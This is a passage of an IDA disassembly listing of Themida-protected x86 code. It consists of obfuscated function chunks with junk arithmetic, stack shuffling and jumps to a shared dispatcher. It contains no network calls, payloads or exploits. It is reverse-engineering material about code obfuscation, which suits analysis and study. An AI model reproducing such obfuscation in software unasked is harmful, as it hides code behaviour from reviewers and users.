		mov	dh, cl
		jmp	loc_586F81
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_58C3B5:				; CODE XREF: Themida_:0058EE63j
		sub	ebx, 3BE75426h
		jmp	loc_58BDE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C3C0:				; CODE XREF: sub_585452+6019j
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp+6+var_8+2]
		jmp	loc_585CB3
; ---------------------------------------------------------------------------


loc_58C3D1:				; CODE XREF: sub_585452+1909j
		pop	esi
		push	eax
		jmp	sub_586A34
; ---------------------------------------------------------------------------


loc_58C3D8:				; CODE XREF: sub_585452+F1Dj
		or	eax, 78196740h
		neg	eax
		jmp	loc_58F50B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C3E4:				; CODE XREF: Themida_:0058E4CEj
		add	ebx, edx
		add	ebx, 4E0B7835h
		jmp	loc_58CB1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C3F1:				; CODE XREF: sub_585452+312Dj
		add	esi, 27E80408h
		add	esi, edi
		sub	esi, 27E80408h
		add	esi, 0D920C8Ah
		mov	edi, [esp+4Ah+var_4C+2]
		add	esp, 4
		jmp	loc_587F85
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C413:				; CODE XREF: Themida_:00589D60j
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5875A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C424:				; CODE XREF: sub_585452-A6Aj
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	sub_58A26F
; ---------------------------------------------------------------------------


loc_58C437:				; CODE XREF: sub_585452+3109j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+56h+var_58+2]
		pop	esp
		add	edx, 2
		xor	edx, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], edx
		xor	edx, [esp+52h+var_54+2]
		pop	esp
		add	bl, 4Ch
		push	ecx
		push	eax
		mov	ah, 58h
		or	ah, 0C1h
		dec	ah
		inc	ah
		and	ah, 35h
		and	ah, 7Eh
		add	ah, 9Fh
		mov	cl, ah
		pop	eax
		push	eax
		push	edx
		mov	dh, 8Dh
		mov	al, 0Ch
		sub	al, dh
		mov	edx, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_58E400
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	46AAh
		jmp	loc_5870D2
; ---------------------------------------------------------------------------


loc_58C48C:				; CODE XREF: Themida_:0058A0A8j
		sub	al, 0EEh
		mov	edx, [esp]
		add	esp, 4
		add	al, bl
		push	ecx
		mov	cl, 5Ah
		push	small 48D3h
		mov	[esp], ax
		jmp	loc_586E23
; ---------------------------------------------------------------------------


loc_58C4A6:				; CODE XREF: Themida_:005848E9j
		sub	al, 34h
		mov	edx, [esp]
		push	edx
		jmp	loc_58EB10
; ---------------------------------------------------------------------------


loc_58C4B1:				; CODE XREF: Themida_:00587A0Ej
		sub	edi, 75B66DE8h
		pop	ebp
		add	edi, 1D140815h
		add	edi, ebp
		sub	edi, 1D140815h
		add	edi, 757B2CD8h
		jmp	loc_5852BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C4D1:				; CODE XREF: sub_585452+2E4j
		sub	esi, 6D524E57h
		add	esi, ecx
		add	esi, 6D524E57h
		pop	ecx
		push	6B7Eh
		mov	[esp+0Eh+var_10+2], esi
		push	[esp+0Eh+var_C+2]
		pop	esi
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_586C81
; ---------------------------------------------------------------------------


loc_58C4F8:				; CODE XREF: sub_585452+494Dj
		xchg	edx, ebx
		jmp	loc_5863C4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C4FF:				; CODE XREF: Themida_:00587DC6j
		sub	edx, 5E5D69DAh
		inc	edx
		add	edx, 7330E42Fh
		or	esi, edx
		pop	edx
		jmp	loc_58654E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7441h
		mov	[esp], edx
		jmp	loc_58D31D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C525:				; CODE XREF: sub_585452-78Dj
		mov	dh, 0A3h
		sub	dh, 0E4h
		or	dh, 0F2h
		add	dh, 0C8h
		add	bl, dh
		pop	edx
		add	bl, 0F7h
		pop	cx
		pop	eax
		movzx	eax, al
		jmp	loc_586108
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C541:				; CODE XREF: Themida_:0058E153j
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	0B57h
		mov	[esp], esp
		jmp	loc_58D7A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C560:				; CODE XREF: sub_585452-B5Ej
		mov	edi, 44815E6Eh
		xor	edi, 197C16F0h
		sub	eax, edi
		pop	edi
		push	edx
		mov	edx, 3B591359h
		push	14E1h
		mov	[esp+0Ch+var_C], ebp
		push	esi
		push	2A424DB8h
		pop	esi
		neg	esi
		push	eax
		mov	eax, 40710AECh
		jmp	loc_586617
; ---------------------------------------------------------------------------


loc_58C590:				; CODE XREF: sub_585452-1183j
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edi
		mov	edi, 22A44354h
		push	ebx
		mov	ebx, 42D67DA4h
		jmp	loc_585996
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5862E8


loc_58C5A7:				; CODE XREF: sub_5862E8+1j
		mov	ebp, 4
		jmp	loc_58BBA4
; END OF FUNCTION CHUNK	FOR sub_5862E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58C5B1:				; CODE XREF: sub_58FA66-4405j
		mov	esi, 4
		jmp	loc_58E5D8
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58C5BB:				; CODE XREF: Themida_:0058711Bj
		mov	dl, 0C2h
		jmp	loc_5848E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C5C2:				; CODE XREF: sub_585452+A74Bj
		add	edi, ebx
		pop	ebx
		push	[esp-8+arg_4]
		pop	ebx
		add	esp, 4
		jmp	loc_584030
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58C5D1:				; CODE XREF: sub_58EFBD-200Cj
		xor	ebp, edx
		jmp	loc_58BF58
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58405E


loc_58C5D8:				; CODE XREF: sub_58405E+B16Aj
		mov	[esp+4+var_4], edx
		push	eax
		push	147B19DAh
		jmp	loc_585041
; END OF FUNCTION CHUNK	FOR sub_58405E
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_58754C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C5EE:				; CODE XREF: sub_585452+8203j
		xor	ebp, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_588F34
; ---------------------------------------------------------------------------


loc_58C5F9:				; CODE XREF: sub_585452+A9CDj
		push	6CCA520Dh
		pop	eax
		or	eax, 42D01D58h
		shr	eax, 1
		jmp	loc_588FC1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C60B:				; CODE XREF: Themida_:00588DC6j
		shl	ecx, 1
		push	370Fh
		mov	[esp], ebx
		push	edx
		mov	edx, 33526CD0h
		jmp	loc_58F650
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CA39


loc_58C620:				; CODE XREF: sub_58CA39-36E1j
		sub	edi, ebp
		pop	ebp
		jmp	loc_58EDAE
; END OF FUNCTION CHUNK	FOR sub_58CA39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C628:				; CODE XREF: sub_585452+A1ADj
		pop	ecx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_58C2FA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C63C:				; CODE XREF: Themida_:0058A16Bj
		add	ebx, ecx
		pop	ecx
		sub	eax, ebx
		pop	ebx
		push	7211h
		mov	[esp], edx
		push	10B31370h
		pop	edx
		neg	edx
		or	edx, 7132163Ch
		shl	edx, 8
		push	597Ch
		mov	[esp], edi
		jmp	loc_5846FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C668:				; CODE XREF: sub_585452+10B0j
		mov	esi, [esp+32h+var_34+2]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58C682:				; CODE XREF: sub_585452+52Cj
		add	cl, 43h
		mov	dh, cl
		pop	ecx
		add	bl, dh
		mov	edx, [esp+42h+var_44+2]
		add	esp, 4
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_589307
; ---------------------------------------------------------------------------


loc_58C69B:				; CODE XREF: sub_585452+C91j
		pop	eax
		push	3ECBh
		mov	[esp+12h+var_14+2], ecx
		mov	ecx, 4C5973ECh
		sub	ecx, 1D6B5EFBh
		add	ecx, 12675CCCh
		shl	ecx, 3
		sub	esp, 4
		mov	[esp+16h+var_18+2], esi
		mov	esi, 474B3E83h
		sub	esi, 7E453C65h
		dec	esi
		jmp	loc_587E1E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58C6D2:				; CODE XREF: sub_58CCD7+167Aj
		add	ecx, edi
		sub	ecx, 56A64F81h
		jmp	loc_588D99
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------


loc_58C6DF:				; CODE XREF: Themida_:0058C9F5j
		push	ebx
		mov	bl, 0A3h
		xor	al, bl
		pop	ebx
		push	ebx
		mov	bl, al
		mov	dh, bl
		jmp	loc_586C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C6EF:				; CODE XREF: sub_585452+6A10j
		or	dh, 2Bh
		push	eax
		jmp	loc_58AD95
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5A3


loc_58C6F8:				; CODE XREF: sub_58A5A3+7j
		mov	ecx, 4
		add	[esp+8+var_4], ecx
		jmp	loc_58D89A
; END OF FUNCTION CHUNK	FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_58C706:				; CODE XREF: sub_586A34-17F4j
		xor	eax, 7D146508h
		and	eax, 2BCE4F9Ah
		inc	eax
		sub	eax, 80BFFFDh
		add	esi, 531F687Dh
		add	esi, eax
		sub	esi, 531F687Dh
		pop	eax
		push	ebx
		jmp	loc_58DABD
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------


loc_58C72B:				; CODE XREF: Themida_:0058B3DEj
		mov	edx, 467FFAh
		jmp	loc_58EA0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C735:				; CODE XREF: sub_585452+A962j
		pop	esi
		push	edx
		not	[esp-14h+arg_E+2]
		pop	edx
		push	ebx
		jmp	loc_58B687
; ---------------------------------------------------------------------------


loc_58C741:				; CODE XREF: sub_585452+7797j
		xchg	edx, [esp-14h+arg_E+2]
		not	edx
		xchg	edx, [esp-14h+arg_E+2]
		mov	edi, [esp-14h+arg_E+2]
		add	esp, 4
		xchg	edi, ebp
		shr	ebp, 2
		neg	ebp
		sub	ebp, 7AFA86B6h
		add	edx, ebp
		mov	ebp, [esp-18h+arg_12+2]
		add	esp, 4
		push	esi
		jmp	loc_58DD9C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C76D:				; CODE XREF: Themida_:00587BFBj
		pop	dword ptr [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_58FE8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C789:				; CODE XREF: sub_585452+9E17j
		pop	esi
		sub	ecx, 0A8900DCh
		add	eax, 4EDC34E2h
		add	eax, ecx
		sub	eax, 4EDC34E2h
		mov	ecx, [esp-1Ch+arg_16+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58A799
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C7B0:				; CODE XREF: Themida_:00584676j
		pop	ebp
		sub	ebp, 3DBB6B15h
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58D742
; ---------------------------------------------------------------------------


loc_58C7CE:				; CODE XREF: Themida_:0058FA33j
		mov	[esp], ebx
		mov	bl, 4Fh
		push	eax
		mov	al, 77h
		mov	dh, al
		pop	eax
		sub	dh, 5Fh
		jmp	loc_58675F
; ---------------------------------------------------------------------------


loc_58C7E1:				; CODE XREF: Themida_:0058D5FDj
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	5974h
		mov	[esp], ecx
		mov	ecx, 2
		sub	edi, 7E077FE3h
		add	edi, ecx
		push	ebp
		jmp	loc_58796A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58C805:				; CODE XREF: sub_58EFBD-FC9j
		shl	eax, cl
		push	67EDh
		mov	[esp+8+var_8], edi
		mov	edi, 0FFFFFFFFh
		sub	eax, 49C06FBAh
		jmp	loc_58FE90
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58C81E:				; CODE XREF: Themida_:00587159j
		add	cl, 0FCh
		shl	cl, 8
		add	cl, 0FFh
		push	edx
		jmp	loc_58F9E4
; ---------------------------------------------------------------------------


loc_58C82D:				; CODE XREF: Themida_:00589EADj
		xor	ecx, 75303D9Dh
		xor	ecx, 34E3C7E9h
		jmp	loc_58ECE8
; ---------------------------------------------------------------------------


loc_58C83E:				; CODE XREF: Themida_:0058CA73j
		push	ecx
		mov	ecx, 1E2042F0h
		or	eax, ecx
		jmp	loc_587CD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C84B:				; CODE XREF: sub_585452+6CD1j
		and	edi, 31EE3E13h
		push	edx
		mov	edx, 28946BD8h
		jmp	loc_58E0B2
; ---------------------------------------------------------------------------


loc_58C85C:				; CODE XREF: sub_585452+26F9j
		mov	[esp-20h+arg_1A+2], ebp
		mov	ebp, 1EEA12DBh
		add	ebx, 7D6959C0h
		sub	ebx, 48EA3C04h
		sub	ebx, ebp
		add	ebx, 48EA3C04h
		sub	ebx, 7D6959C0h
		pop	ebp
		push	2484h
		jmp	loc_58FD7F
; ---------------------------------------------------------------------------


loc_58C889:				; CODE XREF: sub_585452+4FBFj
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+6+var_8+2]
		pop	esp
		xor	edx, 6CB04AF4h
		jmp	loc_584802
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58C8A4:				; CODE XREF: sub_58C230+1143j
		mov	ebp, 288534AAh
		jmp	loc_589D65
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EDD1


loc_58C8AE:				; CODE XREF: sub_58EDD1-E24j
		sub	ah, bl
		jmp	loc_58FD2F
; END OF FUNCTION CHUNK	FOR sub_58EDD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C8B5:				; CODE XREF: sub_585452+A419j
		push	eax
		sub	esp, 4
		push	esp
		pop	[esp+0Eh+var_10+2]
		add	[esp+0Ah+var_C+2], 4
		jmp	loc_5896E5
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C8C9:				; CODE XREF: Themida_:00584915j
		mov	ebx, 2
		push	ecx
		mov	ecx, 2F1B4C24h
		sub	esi, ecx
		jmp	loc_58CFA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C31F


loc_58C8DB:				; CODE XREF: sub_58C31F-F99j
		inc	eax
		and	eax, 1FE8504Ah
		jmp	loc_58837B
; END OF FUNCTION CHUNK	FOR sub_58C31F
; ---------------------------------------------------------------------------


loc_58C8E6:				; CODE XREF: Themida_:005863DEj
		xor	ecx, 945F4E71h
		sub	edx, ecx
		pop	ecx
		xor	eax, edx
		pop	edx
		add	edi, eax
		pop	eax
		sub	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58C90D:				; CODE XREF: Themida_:0058EF4Dj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_586909
; ---------------------------------------------------------------------------


loc_58C91A:				; CODE XREF: Themida_:0058D753j
		pop	ebx
		jmp	loc_58785E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C920:				; CODE XREF: sub_585452+514Cj
		xor	edi, 13876E81h
		jmp	loc_588579
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58C92B	proc near		; CODE XREF: sub_58F728-AF4Fj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005841FD SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0058473D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058697A SIZE 00000006 BYTES

		push	ebx
		mov	ebx, 2E676A33h
		add	ebx, 7F6E0C1Ah
		neg	ebx
		inc	ebx
		add	ebx, 0B658B880h
		sub	edx, 19D855DEh
		jmp	loc_5841FD
sub_58C92B	endp

; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2FF3h
		mov	[esp], eax
		push	611Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		push	4
		pop	edi
		jmp	loc_5871DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C973:				; CODE XREF: sub_585452+6BEj
		shl	dh, 3
		push	bx
		mov	bh, 0E6h
		jmp	loc_58DF33
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C97F:				; CODE XREF: Themida_:0058F2FFj
		pop	esp
		xor	ebx, eax
		mov	dx, [esp]
		push	ebx
		mov	ebx, esp
		push	ebx
		mov	ebx, esp
		jmp	loc_585D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C991:				; CODE XREF: sub_585452+21D1j
		mov	eax, 18B0758Fh
		sub	eax, 10412DB8h
		xor	eax, 6B5638C1h
		dec	eax
		xor	eax, 66A8147Fh
		jmp	loc_58E5AC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C9AB:				; CODE XREF: Themida_:00584508j
		mov	esi, esp
		add	esi, 4
		jmp	loc_58EB88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C9B8:				; CODE XREF: sub_585452+E82j
		push	0FFFFh
		push	[esp-1Ch+arg_16+2]
		jmp	loc_58919F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C9C5:				; CODE XREF: Themida_:00587D96j
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 71C57B26h
		push	edi
		mov	edi, 7FE3CBAh
		jmp	loc_58F11A
; ---------------------------------------------------------------------------


loc_58C9DD:				; CODE XREF: Themida_:0058FBD3j
		sub	al, 0F5h
		sub	al, 0AFh
		or	dl, al
		pop	eax
		inc	dl
		not	dl
		sub	dl, 59h
		xor	dl, 0DCh
		add	al, dl
		pop	edx
		neg	al
		sub	al, 0A5h
		jmp	loc_58C6DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C9FA:				; CODE XREF: sub_585452+65CAj
		xor	eax, [esp-1Ch+arg_16+2]
		jmp	loc_585006
; ---------------------------------------------------------------------------


loc_58CA02:				; CODE XREF: sub_585452+9E4Fj
		sub	ecx, 2AAE50D8h
		mov	edx, [esp-1Ch+arg_16+2]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp-20h+arg_1A+2]
		mov	esp, [esp-20h+arg_1A+2]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58622C


loc_58CA2C:				; CODE XREF: sub_58622C+7D56j
		mov	ebx, esp
		jmp	loc_58B0EA
; END OF FUNCTION CHUNK	FOR sub_58622C
; ---------------------------------------------------------------------------


loc_58CA33:				; CODE XREF: Themida_:005876C5j
		pop	edx
		jmp	loc_58A86C

; =============== S U B	R O U T	I N E =======================================



sub_58CA39	proc near		; CODE XREF: sub_58A26F+4A4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00587E0E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00588B47 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058933B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058C620 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CC37 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058EDAE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F123 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0058FB12 SIZE 00000015 BYTES

		push	ebp
		mov	ebp, 6E4D09D3h
		sub	ecx, ebp
		jmp	loc_588B47
sub_58CA39	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58CA46:				; CODE XREF: sub_587574-288Fj
		pop	ebp
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_58A6F1
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CA4F:				; CODE XREF: sub_585452+2CC8j
		xor	ch, al
		pop	ax
		inc	ch
		sub	ch, 0E5h
		add	bh, ch
		pop	ecx
		add	bh, 76h
		jmp	loc_58B719
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CA63:				; CODE XREF: Themida_:005869ADj
		push	3740h
		mov	[esp], ebp
		mov	ebp, 49E3928h
		and	eax, ebp
		pop	ebp
		jmp	loc_58C83E
; ---------------------------------------------------------------------------


loc_58CA78:				; CODE XREF: Themida_:0058FB78j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58B709
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58622C


loc_58CA81:				; CODE XREF: sub_58622C-E00j
		inc	ebp
		xor	ebp, 6966404Ch
		and	ebp, 6B2259E8h
		jmp	loc_58983E
; END OF FUNCTION CHUNK	FOR sub_58622C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CA93:				; CODE XREF: sub_585452+536Dj
		pop	edx
		push	4F99h
		mov	[esp+3Eh+var_40+2], eax
		push	edx
		jmp	loc_58F1CD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58CAAA:				; CODE XREF: Themida_:00586447j
		pop	ebp
		push	ecx
		jmp	loc_586AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CAB1:				; CODE XREF: sub_585452+6922j
		not	dh
		jmp	loc_5880E0
; ---------------------------------------------------------------------------


loc_58CAB8:				; CODE XREF: sub_585452+8FD1j
		pop	edi
		jmp	loc_5899A4
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58CABE	proc near		; CODE XREF: sub_58A459+Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D758 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058ED03 SIZE 0000001C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	esi
		mov	esi, 35C35490h
		sub	[esp+8+var_4], esi
		pop	esi
		mov	edi, [esp+4+var_4]
		jmp	loc_58D758
sub_58CABE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CADA:				; CODE XREF: sub_585452+661Aj
		push	edx
		mov	edx, 4
		jmp	loc_58502A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CAE5:				; CODE XREF: Themida_:00585F46j
		sub	esp, 4
		jmp	loc_586080
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CAED:				; CODE XREF: sub_585452+A2C7j
		xchg	ebp, [esp+0]
		jmp	loc_58D53A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CAF5:				; CODE XREF: Themida_:0058E378j
		mov	[eax], bh
		pop	ebx
		pop	eax
		pop	edx
		pop	ebx
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58CB00:				; CODE XREF: Themida_:00583EA8j
		push	796Bh
		mov	[esp], edx
		mov	dl, 7
		jmp	loc_58A099
; ---------------------------------------------------------------------------


loc_58CB0F:				; CODE XREF: Themida_:0058F02Fj
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CB14:				; CODE XREF: sub_585452+FCCj
		push	eax
		mov	eax, 2
		jmp	loc_584DB3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CB1F:				; CODE XREF: Themida_:0058C3ECj
		push	ecx
		mov	ecx, 56FE2765h
		sub	ebx, ecx
		pop	ecx
		push	edx
		push	ecx
		jmp	loc_58B89D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CB2F:				; CODE XREF: sub_585452+5A7Fj
		sub	ebx, 18346755h
		sub	esp, 4
		jmp	loc_58F21F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CB40:				; CODE XREF: Themida_:005873B6j
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_58D444
; ---------------------------------------------------------------------------


loc_58CB4B:				; CODE XREF: Themida_:0058DF60j
		add	esi, 4
		jmp	loc_5852C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CB56:				; CODE XREF: sub_585452+7973j
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xor	ecx, [esp-32h+arg_2C+2]
		xor	[esp-32h+arg_2C+2], ecx
		xor	ecx, [esp-32h+arg_2C+2]
		pop	esp
		shr	ecx, 2
		jmp	loc_58B418
; ---------------------------------------------------------------------------


loc_58CB71:				; CODE XREF: sub_585452+6CBCj
		mov	ecx, [esp+0]
		push	68DBh
		mov	[esp+4+var_4], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_584950
; ---------------------------------------------------------------------------


loc_58CB89:				; CODE XREF: sub_585452-1334j
		xor	ch, al
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58C1FC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58CB99:				; CODE XREF: sub_58AB18+3D08j
		add	edi, 41700BC5h
		sub	edi, 7A145B80h
		add	edi, 15B01E08h
		jmp	loc_5892F0
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------


loc_58CBB0:				; CODE XREF: Themida_:00587653j
		mov	ch, dl
		mov	dx, [esp]
		add	esp, 2
		not	bl
		jmp	loc_586EE0
; ---------------------------------------------------------------------------


loc_58CBC0:				; CODE XREF: Themida_:0058B413j
		neg	bh
		neg	bh
		sub	bh, 0
		add	bh, 9Eh
		sub	cl, bh
		jmp	loc_58B948
; ---------------------------------------------------------------------------


loc_58CBD1:				; CODE XREF: Themida_:00586268j
		push	edi
		mov	edi, 671636A3h
		jmp	loc_584177
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58CBDC:				; CODE XREF: sub_58EFBD-7764j
		mov	eax, 3C594350h
		jmp	loc_588311
